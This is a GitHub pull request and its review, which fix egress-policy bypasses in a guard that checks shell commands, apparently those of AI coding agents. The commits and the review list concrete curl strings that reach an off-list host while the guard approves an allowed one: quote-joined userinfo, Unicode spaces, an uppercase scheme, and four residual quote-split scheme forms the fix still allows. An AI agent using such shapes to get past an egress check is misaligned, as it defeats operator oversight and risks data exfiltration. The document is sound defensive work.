Repository navigation
Conversation
\s also matches U+FEFF, U+00A0 and other Unicode spaces that the shell keeps inside a word, so https://allowed<U+FEFF>@evil was annotated as the allowed host while curl connected to evil. Keep those characters in the match so UNAMBIGUOUS_AUTHORITY rejects the authority. Closes GenAI-Security-Project#268 Signed-off-by: Henos D <henosd19@gmail.com>
…ress URLs A quote ended the URL match even when the shell joined what followed onto the word, so https://allowed'@evil reached evil while the annotator answered the allowed host. The scheme match was case-sensitive, and a url, endpoint, host or domain argument made the annotator stand down, letting the command's own URL through unexamined. Check that the shell word ends after the match, match case-insensitively, and always answer for the command; a conflicting argument now denies. Closes GenAI-Security-Project#373 Signed-off-by: Henos D <henosd19@gmail.com>
|
Thanks for this. It is queued rather than ignored. A lead has not reviewed this pull request yet. A lead will read it when they have time, and we can't promise a date. Nothing here is rejected. If a check below fails, please fix it. A pull request that waits a long time may be closed, and you can reopen it later. |
|
This pull request's description says it closes #373, which is on the project roadmap. When it merges, GitHub closes that issue and the roadmap counts it as delivered. Please confirm the change delivers the whole issue before merging. |
drk-ram
left a comment
There was a problem hiding this comment.
Reviewed at 66c4480cd994707b0ed5d99143090c78c218d23d. Windows, Bun 1.4.4 (C:\Users\rdurga\AppData\Roaming\npm\node_modules\bun\bin\bun.exe), bun install --frozen-lockfile, ACS_OPA_PATH pointed at the bundled opa.exe (the bridge refuses to start without it on Windows).
Note for others: this head carries #380's commit as well (the #268 Unicode-space hunks), so I reviewed both.
Results
bun test packages/guardian/test/annotate-egress.test.ts: 77 pass, 0 fail, 108 expects, including the four new curl-differential rows.bun test packages/guardian/test/server.test.ts: 55 pass, 1 fail. The one failure isstrips this repo's absolute root out of a real error messageatserver.test.ts:857, which expects the substringspecification/v0.1.0and getsspecification\v0.1.0\on Windows. It is a path-separator assertion and not in the egress block. All of the new#373tests (denies the shell shape that reaches an off-list host, three rows, anddenies a shell command carrying an allowlisted url argument beside an off-list URL) pass through the shipped manifest.bun test packages/guardianas a whole: 374 pass, 13 fail. The 13 are Windows platform assertions (0600 file modes,NO_PROXY/no_proxycase semantics, path separators). None touchesannotate-egressor the egress gate.bun run typecheck: clean.
Edge cases I probed against annotateEgressDestination
All five rows in #373 now deny, and the permitted shapes keep answering the origin. "curl \"https://docs.anthropic.com/x\"@evil.test", $'@', $X, a trailing backtick substitution, backslash-before-@, %2f@ and http://[::1] all get the sentinel. Good. I also confirmed that with a url argument present the shipped policy returns deny with reason code runtime_error:policy_invocation_failed. That matches the PR description's measurement.
Where it still answers {} (which the gate allows):
| Command | Answer |
|---|---|
curl h""ttps://evil.test/x |
{} |
curl 'ht'tps://evil.test/x |
{} |
curl https:""//evil.test/x |
{} |
curl $'\x68ttps://evil.test/x' |
{} |
This is the same word-joining class that #373 fixes, applied to the scheme instead of the userinfo: the shell deletes the quotes, curl connects to evil.test, and \bhttps?:// never sees a contiguous scheme. I do not think this should block this PR, since #373 enumerates five specific rows and all five are closed. But Closes #373 reads as if the family is closed. I would either note the residual in the PR/README, or add a normalization pass: delete unescaped ', " and backslash from the raw command, rescan, and answer the sentinel if the rescan finds a URL the literal scan did not (or a different one). That keeps the over-block cost small, because it only fires when quote removal changes what a URL is.
Smaller points
WORD_END_AFTER_MATCHand the match class both end a word at\r,\vand\f. The comment justifies ASCII-only on the grounds that "the shell does not split" on Unicode spaces, but bash splits on space, tab and newline only. Againstcurl 8.23.0on this machine,https://docs.anthropic.com\r@evil.test/xand the\fvariant are rejected (URL rejected: Bad user), so curl is safe. I only verified curl, and other clients may not reject control characters. Restricting the terminators to space, tab and newline would match the stated rationale.- The new
url-argument test asserts onlydecision: deny. The decision is aruntime_error:policy_invocation_failed, so an exfiltration attempt shows up as an engine fault rather thanegress_destination_not_allowed. Pinreason_codesin the test so an AGT upgrade cannot change it silently, and say in the README that operators will see this code for this case. The design point I care about here is that the destination was derived from two caller-influenced channels, and failing closed on disagreement is the right call. That echoes the taint-tracked tool-invocation model indraft-durga-wimse-ctx-isolation-00(an input that decides a security outcome should come from one provenance-tracked source), and it is consistent with the default-deny control-plane posture benchmarked in TR-2026-01 (10.5281/zenodo.23735274). reference-implementations/agt/README.md:515still describes "a hand-copied list of four destination paths" and asks to "split the stand-down check out of the extractor". This PR deletes that list, so the open question is gone and should be removed.
Verdict: approve.
Raghuvar Karthik Durga (@drk-ram)
What changed
Builds on #380, as asked in #373: the first commit is #380's, the second is this fix. Once #380 merges, only the second remains.
annotate-egress.tsnow refuses the three shapes in #373:curl 'https://docs.anthropic.com'@evil.test/xandcurl "https://docs.anthropic.com"@evil.test/xget theunresolved.invalidsentinel.curl "https://docs.anthropic.com/x"still answers the origin.HTTPS://evil.test/xis found.url,endpoint,hostordomain. When the argument and the command disagree, the gate's two destination paths conflict and it denies withruntime_error:policy_invocation_failed, so it fails closed instead of open.Trade-offs, both on the deny side: a call that carries both a destination argument and a command URL now always denies, and a URL closed by a quote inside a larger quoted word (a JSON body in
-d '{...}') gets the sentinel. The four "stands down" tests asserted the old behaviour, so they now assert the new one.Row 2 of the table as written has an unbalanced quote, so a real shell errors before curl runs. The balanced forms do reach
evil.test; those are the ones in the curl corpus.Which issue does this implement
Closes #373
meaning, so it needs no issue
Base branch
integration, because this touches the specification, schemas, a referenceimplementation, an adapter, tests, or CI
main, because every changed path is on the documentation lane allowlist inCONTRIBUTING.md
Type of change
I tested this
uv run pytest -vpasses on my machineuv run mkdocs build --strictpasses on my machineTypeScript only, so I ran the agt checks, on macOS with Bun 1.3.11 and curl 8.7.1:
annotate-egress.test.ts, a gate-level test inserver.test.ts, and three curl-measured rows incurl-resolved-hosts.json(quoted joins andHTTPS://). With the source change reverted, 19 tests fail; with it, all pass.bun run typecheckclean;bun test1308 pass, 4 skip, 0 fail.Not tested: whether Claude Code forwards a
urlkey on Bash, which #373 also leaves open.Checklist
git commit -s(required by the DCO)Security
It closes three egress-policy bypasses where a command reaching an off-list host was allowed.